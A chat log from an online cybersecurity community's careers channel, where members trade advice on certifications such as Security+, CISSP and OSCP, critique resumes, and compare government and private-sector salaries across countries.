cyber-and-careers

[rain stratus]

cisco as in CCNA? Or some other domain?

interesting, thank you!

[loud fern]

Yes

[polar aspen]

I never took A+ or Network+ went straight to Sec+

I learning network when I got hired for Network Admin, but I do recommend CCNA/Network+ then Sec+

[warm mica]

I have my Sec+ and that’s it. Working on CySA+ and the. PentTest+ since the studying seems to have the same material

[loud fern]

Why test yourself on same material several times?

[warm mica]

Good question. I was honestly just going for Certs. After those I was gonna hit CISSP

[loud fern]

Why not certificates of different expertise then?

[warm mica]

I wasn't sure what to take. The big one is CISSP but I need more time to study for that

[loud fern]

What are your goals in the field?

[polar aspen]

Nice I am skipping penttest+

going straight into CISSP and OCSP

[warm mica]

From what I've heard, OCSP is the hardest to master so good luck!

[loud fern]

No it is not ...

[warm mica]

Okay. Just what I've heard @loud fern.....

[loud fern]

👍

[polar aspen]

Ooof I have lots to learn

But CISSP is what I am prepping to get this year hopefully

I might go for CASP+

or one of the pnpt certs I been eyeing on

[loud fern]

Good luck.

[polar aspen]

[undone shore]

Remember that OSCP is considered to be entry level. It's tough, yes -- especially if you're coming at it without a lot of experience -- but it's far from the hardest.
TL;DR: don't listen if people try to big up how difficult it is -- chances are that stems from it being seen as the gateway cert into pentesting, rather than the actual difficulty of the exam 🙂

More to the point though, why are you specifically wanting CISSP and OSCP?

[warm mica]

Thank you for the generous feedback @undone shore. The only reason I want to get CISSP is for the cert on the resume. I'm just breaking into the cyber career full time and need to stand out more

[serene umbra]

Gave +1 Rep to @undone shore (current: #9 - 737)

[undone shore]

Do you know what roles you're interested in?

[warm mica]

I have part-time experience in Cyber Analysis and System Administration. I'd like to continue on with Cyber Analysis and maybe go to Cyber Engineer

[undone shore]

Generic titles for the most part 😄
Assuming those are largely relating to SOC analysis?

[warm mica]

Yea pretty much lol!

[polar aspen]

Good luck Dan

My job been prepping me for CISSP, and they are willing to pay for my exam, that is if I passed lol.

So I hope i can pass

[dense flame]

Hello all, I have 4.5 years of experience as Product Manager and then pursued masters in cyber security, currently I have no expereince and getting an interview for one looks difficult.

[tall hemlock]

Kia ora everyone, I'm based in New Zealand and have just started my journey is anyone from New Zealand who can give advice as to where to go for extra training / study or can someone point me in some other directions / info that I could read to help further progress myself?

[loud fern]

Only doing it for the sake of having the paper is quite bold, You need 5 years of experience working in cybersecurity field, ICS2 has membership fees, and you also need to maintain your certificate by collecting CPE-s every period, if you don't need it, then I wouldn't say its a certificate to go for, in fact it could work against you. If you want to do SOC analysis and you have CISSP then as a potential employer I would think. 1. You are that over-qualified why you want to do SOC, what am I missing here? 2. You have CISSP, are you going to expect salary based on that competence? Basically It would only add reasons to not hire you into SOC.

[fringe spade]

Overall, having senior-level certs or just a lot of them, without any experience, will always seem weird to an employer

[fickle grove]

Do you have any experience or background in IT or in any related capacity?

[fickle grove]

Good luck! How are your preparations going? I remembered when I first saw how many pages the AIO and Sybex books have, I thought it might take me a year or two to read either book. 😅

[tall hemlock]

I have a lil been doing a lil bit of fullstack just started and want to gaiun some more skills

[fickle grove]

Any area of focus you are looking to dive into or just looking into what career options you have within cyber?

[tall hemlock]

Yeah mainly looking to see what career options are there as in NZ the tech sector is a lil hard to get into but I want to get more skills to have more job security

[frail hound]

Just dont be paper tigers guys,really..

[cobalt reef]

what roles would CISSP usually determine to be contributing experience for example atm my job title is that of an IT manager but i cover alot of security aspects as well as development ones as well?

[loud fern]

if any of 2 or more

[cobalt reef]

ohh okay cool so guess it'd fall under domain 1,2,4 and 5

[loud fern]

CISSP in Europe for example is often seen as a manager's certificate, so if you are IT manager, I'd say CISSP is justifiable for you

[cobalt reef]

that would make sense, im in australia so most companies are behind in what people should be using if im honest

makes it hard to get solid information

[loud fern]

Eh, that loss of information is everywhere

[cobalt reef]

thats fair

im doing a grad cert atm which not sure if i should roll into a masters or not but i've been looking into certs to pair with it either way since seems alot of people prioritize certs when moving between companies

[loud fern]

Well - what is your goal? If you have a certain goal then obviously following what others do might not lead to it

[cobalt reef]

security architecture is where my goals sitting atm, i've got a pretty big software engineering background and done it management last 2-3 years, i'd love to end up in a ciso position eventually as well but that would be much further on

also interested in pentesting/bug bounties but more of a sidehustle

[loud fern]

Most likely master's won't get you there, I might be wrong but often times Masters' degrees are for manager training, not so much for technical training. Technical certificates would be a good route for security architecture to go for

[cobalt reef]

correct me if i'm wrong but wouldnt security architecture generally fall into that category? given nature of it

also what certs would you recommend

[loud fern]

Yes and no, its up to companies themselves to interpret how they apply this role. I'd say its more an advanced engineer.

[loud fern]

Depending on environment, Red Hat has something nice called RHCA for example

[cobalt reef]

ohh okay thanks

[serene umbra]

Gave +1 Rep to @loud fern (current: #556 - 7)

[cobalt reef]

will still eventually do masters i think but might just finished grad cert then do rest later down the line

[loud fern]

Sure, good luck, never going to oppose anyone from learning new things

[cobalt reef]

just wish the price behind it was slightly less lol

but atleast i don't pay it straight away like certs

[broken idol]

PhD?

[pseudo creek]

what area of cybersecurity are you hoping to get into?

[pseudo creek]

a grad cert is something I've seen in the US, not sure about other countries but its MS level classes but not a full MS

[ashen bay]

Hey guys please I would like to know what it takes and cost to start an MISSP Firm , any suggestion would be appreciated

[fringe spade]

Experience in many areas of cybersecurity, connections, $$ is not that important, but you might need to pay for cloud service, EDR’s etc upfront

[ashen bay]

I have the experience. been hacking for years for knowledge even before all these damn certifications were coined.

as for EDR there are some opensource SEIM EDR solutions out there .

[pseudo creek]

earliest cyber certifications were in the early 90s

anyway, this is probably not the right place to ask about starting a MISSP firm? which I'm guessing is related to what people call MSPs. There may be some forums on LinkedIn that could be useful

[polar aspen]

Haven't begun yet lol, unsure where to start or what books to buy 🤣

[trail solar]

Hey y'all!

So I remembered I was helping a buddy of mine build up his cyber security company for five years. I made cold calls, set up appts, and even caught McAfee's attention as they wanted to negotiate a contract with us.

Unfortunately that small company went under after the pandemic.

I was wondering how I can use that experience to my advantage in this rough job market.

I didn't do anything technical; no pentesting or anything like that, just more administrative work. Although my buddy did educate me a lot on the technical side of IT security.

Any ideas on how I can use this on my resume? I don't want to embellish my experience, but at the same time I really need to start adding anything that can get me some attention.

[pseudo creek]

So I don't work for a company that sells cyber services but many do. I would potentially call this pre-sales support. This isn't a cyber position but lots of companies that sell Cyber/IT services do use people like this

[trail solar]

Thank you, I'm gonna try to leverage this in my favor.

[serene umbra]

Gave +1 Rep to @pseudo creek (current: #14 - 473)

[cobalt reef]

security architecture is the goal for now

[cobalt reef]

@pseudo creek

[pseudo creek]

no need to tag me but security architecture generally focuses on various parts of cybersecurity

[cobalt reef]

yeah sorry was just to link you previous thing i said

[pseudo creek]

like you have to have a breadth of knowledge for technologies and security and generally you are a practitioner of cybersecurity of some sort before going into architecture

I'm a security architect but my focus is on cloud, devops, infrastructure

[warm furnace]

Are there any courses you recommend for cyber security

[cobalt reef]

alot of that is around the area im wanting to head towards

[pseudo creek]

well a masters really won't help with that

[pseudo creek]

depends a lot on what you want to do and what country you are in, if you are just starting out, TryHackMe is a great way to learn some of the basics

[cobalt reef]

would a masters help with anything outside of like ciso roles then?

[pseudo creek]

it helps if you are already working in cyber and want to be a manager

[warm furnace]

I started with the Udemy cyber security course and I am getting good results. Then I have to choose which topic to work on

[cobalt reef]

yeah i've had a software engineering background since 2012 and it management experience since 2-3 years ago so basically was trying to better breakthrough to security side of things since company im doing the it management for im doing everything from cloud to websites and having to make sure its all secure anyway

[cobalt reef]

also did a decent amount with htb acadamy since its cheaper with education but done a few ctf's and what not

[pseudo creek]

Do you have any certs? Are you doing hands on work?

[cobalt reef]

i've got a bachelors in IT but havnt done any cyber specific certs, at the time figured if i did the bachelors and built up skillsetup through htb/tryhackme would be better for now since its a degree

but finding certs seems to be heavily valued

[timber ember]

best books to learn hacking

[frozen wharf]

I recommend , Kali Linux book for learning tools for hacking

[flat steeple]

question, whats the youngest one can be to actually start working in cybersecurity?

[loud fern]

There are no legal restrictions regarding employment, depends on local laws - when can a person start working.

[tulip pawn]

Would you put tryhackme study/experience onto a linkedin page and if so where abouts?

[broken idol]

Perhaps just share you room completions, badges earned, certificates earned.

[tulip pawn]

That's a good idea. I'll just share the main ones

[frail hound]

I think its better to write what did you practice and learned during your time on THM. They dont care about badges and completed paths.

[flat steeple]

alright, thank you

[serene umbra]

Gave +1 Rep to @loud fern (current: #379 - 12)

[fringe spade]

Cybercriminals are sometimes as young as 13 years old (or less), so having an age requirement would be weird

[flat steeple]

aah i see, thank you

[wet mango]

Guys I am looking for SOC and pentesting entry level role please anyone help

[broken idol]

Look in your local area and apply.

[stoic cave]

Not under the experience section of linkedin, you can definitely make posts about completing paths though

[stoic cave]

That's going to depend on not only your local laws, but also the amount of risk a company is willing to take on. Persons under the age of 18 also can't sign/be held to contracts. What I am trying to say is that it would very unlikely for a company to take someone on under the age of 18, disregarding any experience requirements.

[stoic cave]

Not sure if this was a lost in translation thing, but there are definitely legal restrictions on employment set forth by labor laws. Especially if they are minors. (US point of view)

[loud fern]

Yeah, what I meant to say was that there is no age limit past that usual working age, like to run for a president at many countries, you need to be over certain age.

If you can work legally at gas station then at same, you can legally work in cybersecurity age wise

[flat steeple]

what if they are over the age of 18 but with little experience

?

[stoic cave]

You'll need to build the experience working in other areas of the computer industry. Cybersecurity itself is not an entry level area in the grand scheme of the industry. Without a degree, a common starting point is IT Helpdesk.

[flat steeple]

hmm alright

thanks

[loud fern]

Yeah, experience can get in the way, but employer can choose to hire you without experience, just it wont happen often

[flat steeple]

thank you, both of you

[warm hinge]

hi i wonder if anyone can point me in the right direction... i have 0 IT experience but certified in az900, sc900, comptia network+. i've been told i can start getting into cybersecurity (will be doing the security+ and CEH soon) but what jobs can i search and apply for now if any? thank you

[frail hound]

You can apply for network technician or help desk/support.

[worthy olive]

For a no experience internship resume, should I include the projects I have done with skills in bullet points without elaboration or should I keep the projects in my portfolio link & elaborate on my skills (for example good understanding of this, familiar with this etc) ?

[coral vault]

Working in government like:
'We will provide you with 5 SANS courses and GIAC certs"
Also government:
"No we will not cover 1 year of THM"

[loud fern]

Take SANS over THM.

[coral vault]

I have no choice in the matter. It's required

[loud fern]

Not to say anything bad about THM, but SANS is not afforable by people out of their own pocket

Do you have any choice in which SANS you get or is it something determined already?

[coral vault]

Yeah I know. Passed my GCIH today, actually.

[loud fern]

Congratulations!

[coral vault]

It's predetermined but later, I can request pretty much any course I want

From SANS. But not HTB or THM

[loud fern]

If you have GCIH then you don't need THM, but I might be biased

[coral vault]

Honestly... GCIH isn't nearly as good as the junior penetration tester path

[loud fern]

Perhaps, I don't really have experience with their Red Team ones

So I cannot really comment much on it

[coral vault]

But still. Its typical government logic that as soon as they have a contract, it's easier to request a 8000 dollar course from sans than a sub 1000 year subscription

[loud fern]

For some reason I did have good impression of GCIH, mind telling me why its not as good as junior penetration tester path?

[rain stratus]

Don't know about GCIH but Jr Pentester is amazing

[coral vault]

It's not as complete. The labs you have to go through are a walkthrough of steps instead of having to apply to knowledge to a lab

And Jr Pentester covers more, like AD, phishing and more enumeration

[loud fern]

In THM?

[coral vault]

Yea

[loud fern]

Odd that they are not setting you up for Offsec courses if they want you to do red team certificates 🤔

Maybe it's just government thing

[coral vault]

It's not offensive per se

It's general security. After this we can specialise in Blue, Red and DFIR

We get a starter course in all

[loud fern]

Ah okay.

Which one is next?

[coral vault]

Sec450, then it's FOR 508

[loud fern]

Ah, I have 450, currently also working on FOR508

It can give a quite nice overview, I don't have anything bad to say about it

[coral vault]

You do in class?

[loud fern]

Nope, books, full self-study

[coral vault]

Hard core man, good luck 👍

[loud fern]

Thank you, it has worked the best so far for me

[frail hound]

You should do some home projects,build virtual machine and play with some shit so you can write that down on your resume. They always love "personal projects" .

[loud fern]

Personal projects are best interview material where you can fully just talk of your experience

[empty acorn]

i didn't add projects section because there are on my website

[flat sedge]

What roles are you applying to, that you aren't getting a response?

[empty acorn]

cyber security and software engineer

It seems very difficult to find a job without a reference.

[dense dagger]

I agree, networking with people plays a huge role in landing a job especially in this trying times

[loud fern]

Do I understand correctly that every role you had in experience is 1 month long?

[flat sedge]

Given the dates, those are summer internships

[loud fern]

Also those skills, you might want to evaluate your level in them, what do you mean by cryptography and networking?

[flat sedge]

My opinion is that your resume is not very well focused.

[loud fern]

Make separate CVs, one for Security jobs advertisements, one for software engineer, and be more broad, but more in scope

[flat sedge]

Keep a master copy of your resume that has everything, and tailor a copy of that to each individual job you are applying to. Try to map items in the job req to specific things you've done. The skills section is probably fine, I'm not a fan of that that resume layout though.

[loud fern]

If possible - make similar layout for skills like in experience, say what you know about this field/skill

[flat sedge]

The About Me is also pretty close to 1/3 of your actual content, condense that down. It should be the elevator pitch to get someone to listen to your elevator pitch

[terse latch]

Mehmet bencede @flat sedge (Just in case, I said i agree with you juun) hakli, iki ayri cv cok daha mantikli. ama madem bilgisayar muhendisisin yazilim senin icin daha uygun degil mi? Estonya ya bakmani oneririm, cok ciddi ihtiyac varmis, orada gidebilirsin bile. Bende cok bildigimden degil yanlis anlama, ama dusuncelerim bunlar sen bilirsin.

[flat sedge]

English only, please. It makes it difficult to moderate chat if other languages are used

[empty acorn]

thank you guys I will do what you say

[empty acorn]

actually 3 years

i made personal projects, watching course, reading security essay etc.

but i didnt write my cv

[loud fern]

👍 Didn't just understand the notation of writing the dates there

[empty acorn]

should i delete?

[frail hound]

This right here sir mahmet!

Tailor your CV for every different job,dont just send same s*** to everyone.

[empty acorn]

ok sir thank you everyone

[mortal quartz]

Before going into Cyber I used to work as a recruiter for the cyber security sector, if anyone wants me to take a look at their CV I would be happy to 🙂

Can you provide another screenshot of it? So we can see it all on the left

[empty acorn]

So should I put the colored part on the left side?

i am editing rn, making a CV focused on cyber security and soc

[mortal quartz]

No I mean

Your picture is not centre

I can't see the left side of it

Most CVs these days go through a ATS before it reaches the HM

So the deisgn/structure of a should focus on being clear and easy to read

[empty acorn]

I don't use photos in my CV should i use

[empty acorn]

i see

[empty acorn]

i will send when it's done

[mortal quartz]

No?

text only

the image you sent of your cv

[pseudo creek]

columns are horrible resume formats, like Husky said, most will go through an ATS and you really don't want to risk columns messing with it. Also drop the company icons/emblems

[empty acorn]

guys, would u check again @pseudo creek @mortal quartz @loud fern @frail hound @flat sedge

[flat sedge]

Strongly recommend using a bullet list instead of prose to delineate and explain your tasks and duties in each role. Your Objectives paragraph is also written in first person, and is pretty useless to a hiring manager. You aren't really saying anything there that captures the attention. If you want to keep that, it should be an elevator pitch that sets you a part from other candidates.

[loud fern]

You say experienced SOC analyst, what experience you mean by that? Because if I read this and then I read your work experiences, it does not add up

[frail hound]

This looks worse then before mate. My resume is kinda similar to this one

You have free templates onlie to use,i think i used this one?

https://rocket-resume.com/resume-builder

[south monolith]

I think is not good to use I did or I did that

[pseudo creek]

quite a few things wrong with this. No picture should be on your resume. Ideally you'd want your name on the left, contact info on the right. no background as that can totally mess with ATS. A title is just wasted space. The headers are too big. Lots of wasted space for the professional experience by indenting. Of course if your resume doesn't have a lot, you can do that but... PNPT is not education, its a cert. I'm guessing the same for CWNA?

I know you said that isn't yours, just similar but just pointing out some concerns with that resume

[frail hound]

Fair enough,but still it got me job

[worthy olive]

Is it best to include the skills with ur current level (wireshark -proficient) or just mention it without additional info ?

[warm furnace]

Offices want me to know the ERP system well, but I have never experienced it before. What advice do you have for me to understand this subject?

[noble summit]

Hye guys. Has anyone taken the Blue Team level 1 course from the Security Blue Team? Im about to finish SOC level 1 on THM and I was thinking about jumping into that one? Have seen few companies here asking for it as a "good thing to have but not necessary". Thank you in advance

[rugged delta]

ERP systems can be quite complex, and depending on the organisation, can be highly customised to facilitate the specific way that business is oriented. An ERP is designed to allow an organisation to structure its operations around that system, combined with things like CRM, Finance, HR; to integrate and synchronise all the business's processes. Firstly, the company is reoriented to operate around the ERP, and then the ERP is customised to meet the needs of, and fully facilitate those operations. You might need specific training on that org's ERP. Is it SAP, Microsoft, Oracle, Workday, or some other one?

[sleek sedge]

very constructive advice

[frail hound]

Sure buddy

[cobalt escarp]

Would be nice if you could say why it looks bad 🙂

[warm furnace]

Thank you for helping. I think it is used in the networking field in the office where I did my internship. (server control etc.)

[serene umbra]

Gave +1 Rep to @rugged delta (current: #21 - 362)

[quiet trout]

Hi everyone, I've been currently working as a cybersecurity specialist for about a year now (Got the opportunity to be in the forefront at my current company) - my job entails mostly doing GRC work, but a little of incident response/SOC work as well at a small sized company and wanted to upscale my career in the field by pursing a cert towards maybe a Security Auditor, Is there any recommended certifications towards that goal? Currently studying for the security + exam. Thank you in advance for all the help!

[terse latch]

May I ask have you got your current job with an IT background (CS degree etc.), or its totally different than that? It would be helpful for the others

[median snow]

i want to start free lance as bug bounty hunter , where do i start ? currently im taking Jr pen tester path on Tryhackme and an ethical hacking udemy course .

[quiet trout]

Few years in helpdesk and university degree in cybersecurity.

Has anyone taken the CISA exam before?

[terse latch]

👍

[median snow]

what core skills do i need to land my first cyber security job ? im a computer engineering student and almost a graduate

currently registered cyber security course and doing try hack me rooms and self learning

[mortal quartz]

There are two types of CVs when it boils down to it. A "Doer" and an "Achiever" what differentiates these two types of candidates is the choice of language in a CV. Your one right now is a "Doer", modify your language (and stop writing in the first-person) to focus on what you have achieved i.e., the end result. Rather than what you have done.

[pseudo creek]

CISA is the primary cert that I'm aware of for auditors

Oh and I see you already mentioned it. I don't know anyone who has taken the CISA, just that it has a solid reputation in general

[rugged delta]

Yes that's one of the services an ERP can provide

[empty acorn]

Do you think there is a problem with having two pages?

and which one better

[flat scroll]

i like more this

[mortal quartz]

For your skills instead of AWS, I would put down the specific services you have experience with

As for work experience that list I assume are internships, this could however cause issues as they may think you only lasted a month, or are a contractor, if the latter, they may be wary to why you are applying for a permy position. So I would simply title it as Internships to avoid confusion

You need to improve your English in your CV "The client provides features like"

don't use the word "like" in your CV 🙂

What position are you applying for?

[loud fern]

I personally would refrain calling myself a SOC analyst until I have actually achieved that position

[broken idol]

Could stick the word "Aspiring" in front.

Let the reader know what your aim is.

[loud fern]

You have lots of emphasis on your technological knowledge, in that position I would also bring out interpersonal skills, this is not a one person job, you are expected to work in a team

[pseudo creek]

I will say that anyone can put interpersonal skills on a resume, but those are really tested in an interview. I wouldn't put interpersonal skills although you could put things you've done that would reflect interpersonal skills

such as coordinating, leading, etc

[mortal quartz]

Yeah don't list communication skills or interpersonal skills on your CV you demonstrate that in the interview and show it on your CV when discussing your experience

i.e., if you have experience in stakeholder engagement, mentionn that in your duties/achievements rather than listing intepersonal communication skills

[empty acorn]

well, what do you think about this question

[broken idol]

IMO yes.

Most interviewers will spend around 30 seconds reading your resume/CV.

[pseudo creek]

If that

[empty acorn]

thanks everyone

[quiet trout]

Do you think it's a cert worth pursing with about 1.5 years of experience? I don't mind GRC because of the work life balance but feel like venturing out a little. I was looking at other areas of cybersecurity and was look into a Incident responder or forensic analyst.

[pseudo creek]

I think it has some work experience requirements, I thought it was 5 years but I could be wrong

[quiet trout]

You're right, I searched for it and it's 5 years minimum.

Trying to figure out how to upscale my experience to move to a better company/ position. I'm currently studying for the security + as well

[mortal quartz]

It depends at what point of your career you are at

You are at the start so should be no more than 1 page

[warm furnace]

Can the certificate we received from an online course in cyber security be important in our CV?

[stoic cave]

Certificates? Not particularly. They generally don't verify that you have actually done the work yourself or confirm that you know the content to a certain standard. Certificatons fill that role.

[warm furnace]

So can we say that it does not have much effect on the CV?

[pseudo creek]

exactly

[warm furnace]

Can we say that Computer Engineering is one of the university departments closest to the field of cyber security?

[pseudo creek]

depends, some schools may include cyber classes in computer engineering, others would include it in computer science. Computer engineering tends to focus on hardware side while computer science would focus on software side

[warm furnace]

I am undecided between software engineering and computer engineering at the university in my city

[dense dagger]

Check both curriculums, the professors that teach there, reviews about both programs, etc.

Personally i went with computer engineering bc its hard to get hold of lab experience with microprocessors and whatnot outside of computer science and software engineering

[warm furnace]

thanks I will check

[serene umbra]

Gave +1 Rep to @dense dagger (current: #22 - 352)

[flat sedge]

Completely dependent on the curriculum and electives you've taken.

[tawny onyx]

Do web devs ever beef with pentesters?

Are they ever made to feel like theyre bad at their jobs when vulnerabilites are found

[warm hinge]

Yeah i think they do feel bad

[tawny onyx]

but should they?

Or is it just innevitable that something will be found

[dense dagger]

From my experience, while occassional disagreements do happen bc the dev doesn’t think its a real issue versus security’s POV, a lot of them do approve and are thankful there is security testing

It also upskills devs to be more security aware

[tawny onyx]

Im assuming you work in the field?

Have you ever met a real jerk web dev?

[dense dagger]

Oh yeah definitely but its always a matter of perspective

[tawny onyx]

Im about to step into the field soon. Obviously its all dependant on the team. But generally how do you find the personalities of cyber proffesionals.

Are they welcoming or a little bit up themselves.

in your experience @dense dagger

[fringe spade]

Yes that happens, they usually do this by trying to convince the pentester to change the classification of a vulnerability from critical to medium for example. Some employees lose their jobs after such audits sooo it depends on how the company treats pentests.

[coral berry]

yo guys, where can i find other source where can i start to study cyber?

[ancient fossil]

it's a big field, there aren't that many places that cover everything.

[coral berry]

I just started recently but I don't really know where to focus

[ancient fossil]

starter paths on tryhack me are a good guide to get started.

pre-security and intro to cybersecurity

[warm hinge]

Hello guys, i have a problem when play Brainstorm room. I can't run chatserver.exe for BoF attack. i use Windows 7 32bit VM for run chatserver.exe, but show error alert "This program cannot be run in DOS mode". do you have ways to solve that?

[ancient fossil]

probably #room-help if it's a thm room

[astral pewter]

hello there, Im looking for advice on what certification I should pass and I can aim for,
I'm currently studying IT (Im on my 2nd year of my degree wich is a 3years degree)
I've been studying cyber for quite a moment right now so guess I know the basics from now on (basic recon using nmap,burpsuite, look for information efficently throught exploit databases, goolge searchs, using metasploit, escalate some privileges etc...)

I'm planning to get certificated at the end of the next years so what certification can I aim for ?

[warm hinge]

thanks

[serene umbra]

Gave +1 Rep to @ancient fossil (current: #1009 - 3)

[gusty ether]

hello....i need help with getting a remote job can anyone help me out?

[teal swan]

You'll find plenty on linked in

[gusty ether]

shit😂

[teal swan]

[astral pewter]

Any suggestions ?

[gusty ether]

for red teaming?

[violet pumice]

Net+,sec+ are good starting cert

[gleaming totem]

first time being considered for a position in cybsec and was sent to take a reasoning (matrigma) assessment. Is this often encountered in the hiring process of this field?

[dense dagger]

Oh yeah, I just got done with one a few days ago

It might be due to what position you're applying to also

Most entry-level have those type of assessments and those are from HR first before the actual technical assessments

[gleaming totem]

Thank you for the info! I was confused and thought it was a bit useless so I wasn't sure if it's common in this field or not

[astral pewter]

Thanks I'll look them up, was thinking about passing pentest +

[serene umbra]

Gave +1 Rep to @violet pumice (current: #380 - 12)

[whole field]

Has anyone taken Sec+ I’m just trying to figure out what to expect to hammer those study points hard so I can pass first go, any input is welcome thanks in advance😁

[little matrix]

Feel free to DM if you have any specific questions 🙂

[jaunty shell]

im currently wondering which education to choose first between security tester and security specialist

does anyone know the core differences?

[pseudo creek]

where are you getting this education from?

[jaunty shell]

i know tester is more like a pentester and ethical hacker but what does a specialist do?

its a school in sweden

[jaunty shell]

.

[pseudo creek]

do you have details ? I mean every school can call whatever it wants something but a curriculum would give you a better idea than a title

[jaunty shell]

basically what they said was penterster is the type of hackers that try to hack systems and find problems and it security specialist was resposible for setting up systems in the networks etc

[pseudo creek]

ok so they gave you no curriculum? just generics? its hard to tell, but I'd choose based on what interests you the most

[jaunty shell]

Im pretty intersted in crypto and blockchain development and the entire crypto space, do you think this could affect my choice of career between these two choices in any way?

[pseudo creek]

neither of those have anything to do with that

[jaunty shell]

I know, but maybe one of them is better suited for someone living a crypto lifestyle

?

[pseudo creek]

No

[distant pier]

Cryptography lifestyle, maybe. 😄

[empty acorn]

Is there any progress?

[tranquil topaz]

Hey everyone, I'm currently working as an operations analyst (not security related but its my first job in IT and I'm getting some great foundations in network and systems administration). I have a goal to become a penetration tester but I wanted to reach out and get thoughts: How useful or practical is blue teaming, like SOC Analyst or Engineering experience, before pivoting to a pentesting role? Do we feel its worth it or should I just focus on red-team stuff? All thoughts and ideas are well appreciated, hope all is well everyone!

[stoic cave]

Give me a bit of time and I will review it

[cobalt reef]

so in terms of masters is it just ciso roles which it would really be applicable to?

or would there be other roles as well

mostly asking since a masters is just an additional year compared to grad cert/diploma so trying to work out where the value of having it would sit

[pseudo creek]

masters are mostly for management once you get into cybersecurity

the primary issue with masters is if you don't have real world work experience, it has the chance of hurting you

[cobalt reef]

i've got a bit of experience its just more around it management rather then a purely cyber role but i've had to cover some security aspects as well

im more or less just trying to workout what parts of management it would help with

[pseudo creek]

well if your goal is management, its not bad especially since you already have experience

[cobalt reef]

since its only a year longer then grad cert which im half way through

originally i was going to aim towards security architecture but im happy to rearrange things i'm just trying to workout essentially what level of management it gets consider as almost a requirement

or if its just a nice to have

[pseudo creek]

its a nice to have

[cobalt reef]

alright that makes more sense

i was almost not gonna go all the way through but i thought about it and figured it would only be a year extra and its better well known expecially when dealing with non technical people

[cobalt reef]

thanks, you've given me clairfication in where it sits

[serene umbra]

Gave +1 Rep to @pseudo creek (current: #14 - 474)

[gleaming stump]

Is there any government jobs in cyber security field

[frigid solstice]

Depends where you live, I'm employed in one.

[coral vault]

So am I. Governments have a hard time competing where I live so you usually get generous benefits besides pay

Especially in regards to training and education.

[empty acorn]

did you reviewed

[brittle pier]

Yes

[gleaming stump]

Which type of exam didi you give to get the job

Or is there any exams from we can get the government job

[frail hound]

Usually for goverment jobs you need college education plus years of experience.

[gleaming stump]

Okay

[stoic cave]

This is going to be dependent on which government you're looking to work for. Using the US DOD space as an example, a degree of some kind is pretty much mandatory and then specific jobs will have different certification requirements. You can't go wrong with Security+. I will say, if you're a foreign national trying to get work in that space, good luck.

[vapid sequoia]

hi

[brittle pier]

Wdym years of experience

What type of experience are they wanting

[stoic cave]

IMO, it's a little broad of a statement, but all Federal Government (US) positions are posted on USA Jobs with their respective requirements.

[brittle pier]

I see

[stoic cave]

Other countries have their own way of doing things

[brittle pier]

Wait so how are they considered entry level if there are requirements

Some considered entry level

Or that just a term they throw around?

[stoic cave]

I don't think entry was specified in the conversation? However, all requirements for roles are listed on the posting. Again, this is US specific.

[brittle pier]

Oh yeah entry wasn’t specified sorry

[frail hound]

Last year we had some job opening in my country,something similar to DoD/FBI and they wanted 5 of years college + at least 8 years of experience in cybersecurity.

But sure it depends on country.

[obsidian ridge]

govt. never pays what that level of experience is worth.

[warm furnace]

The state hires anyone who has political acquaintances

[stoic cave]

It really depends, Gov is likely going to be slightly lower than private on raw salary. You have the base GS scale, which gets modified depending on your location. The base itself not very good, it's low for cities, but with the location mod it gets more reasonable. However, not all government jobs use the GS scale, there are separate scales that are more in line with what private companies pay. You typically see them more around systems engineering roles. The main driver for government though is the benefits and stability.

This is for US

[frigid solstice]

I went in off of my degree with no experience, getting over 100k. They asked for evidence of various skills but that was it.

[obsidian ridge]

that's good information. much appreciated

[stoic cave]

Yeah, pretty much the same thing. I didn't make 100k out if school though. Got a call, felt like I tanked the interview, got hired, and now I'm moving on. Solidly in six figures now.

[frigid solstice]

Also for clarification, where I am. The 100k is about average for private, however the good private pay more. We just have a lot of bad private companies that pay average.

[stoic cave]

I'm in the DMV, but I also don't think if a company pays the average for the area they are a bad private company. It's the average for a reason. I would moreso apply the bad label to companies that knowingly underpay their employees.

[flat sedge]

which, honestly, is usually dependent on the manager trying to hire for value and the candidate not knowing what to negotiate for

[frail hound]

If you are from USA,100k is not special for someone with "good" skills.

[frigid solstice]

I am not, and this is an entry level government position for cyber. Like I said, no experience.

[frail hound]

Oh then sounds cool,congrats.

[worthy olive]

When did u graduate ? (if u dont mind me askin)

[fringe wigeon]

USA is crazy for tech jobs with 100k right out of school. In Germany you're very lucky if you get 70k+ with a masters degree in cyber security (achievable in the finance sector).

~50k is a realistic expectation for a bachelor in the cybersecurity sector.

[fringe spade]

Try with Poland, where 50k would be a dream for some senior engineers lol

[fringe wigeon]

Then again, we got lower cost of living and better workers rights. Much harder to be suddenly let go with a 2 weeks notice in Germany because the company did a financial oopsie.

[fringe wigeon]

Yeah the pay gap even between european countries is crazy

[fringe spade]

Yeaaah and the cost of living isn’t that different :/

[fringe wigeon]

I read a news article recently about average income in Germany and it also listed the average buying power of citizens of different european countries. Buying power I think is money after taxes.

Anyway Germany was #9 with ~26.3k and Poland was #28 with ~11.9k. Ukraine was at the bottom with 2.5k. Switzerland had ~49.5k 💀.

[proven fable]

I'm changing careers and haven't looked for a job in awhile. Is it common to get a remote job by only submitting a behavioral/technical questionnaire?

[tall flax]

I think it also applies to regions in the same country ? I mean there's Berlin and there's Munchen

[coral vault]

I got hired with an applicable uni bachelor's, no previous IT experience and the government organisation I work for is giving me time and opportunity to train into a technical field. We very much have junior positions in literally all fields

[fringe wigeon]

The pay gap between the new and the old federal states is notable, but it's not as crazy as poland vs germany for example, or germany vs US.

[coral vault]

Even the intelligence agencies hire 'junior hackers' that require little actual experience. Just certs and skills

[tall flax]

Unlikely that it's a single stage process, usually you have a (video)call for getting to know you, general stuff then a technical test if it's needed (you might be very convincing) and then the offering

[tall flax]

depends on a lot of things, mostly being able to position yourself (knowledge level) in a world context. Also it's about flexibility (reloacate)

when I was looking at jobs in DE, roughly same role was 80-90k in Munich and 60-65k in Berlin

[fringe wigeon]

Fair enough

[tall flax]

but also the rent is double 😄

that's why I find the 'salary' discussions a bit useless, context matters .. is it a 50k remote role where I can live with 5$ at my grandparent's country house or 100k in the middle of XX where rent is 1500$/mo

[fringe wigeon]

Yup, if you wanna live in Munich, Berlin or inner city Frankfurt you better get ready to sell some of your organs.

[coral vault]

Im not German but i feel that struggle deeply

[fringe wigeon]

My honest plan is to just get a remote job in a big, well-paying city and then live somewhere on the outskirts of a moderately sized city. Urbanized enough to get everything I need, cheap enough to live comfy and calm enough that I don't lose my marbles.

[coral vault]

We have people here who work in southern\eastern cities in the NL and then go and live just across the border in Germany or Belgium

[fringe wigeon]

Oh yeah, NL got higher cost of living but similar wages afaik.

[coral vault]

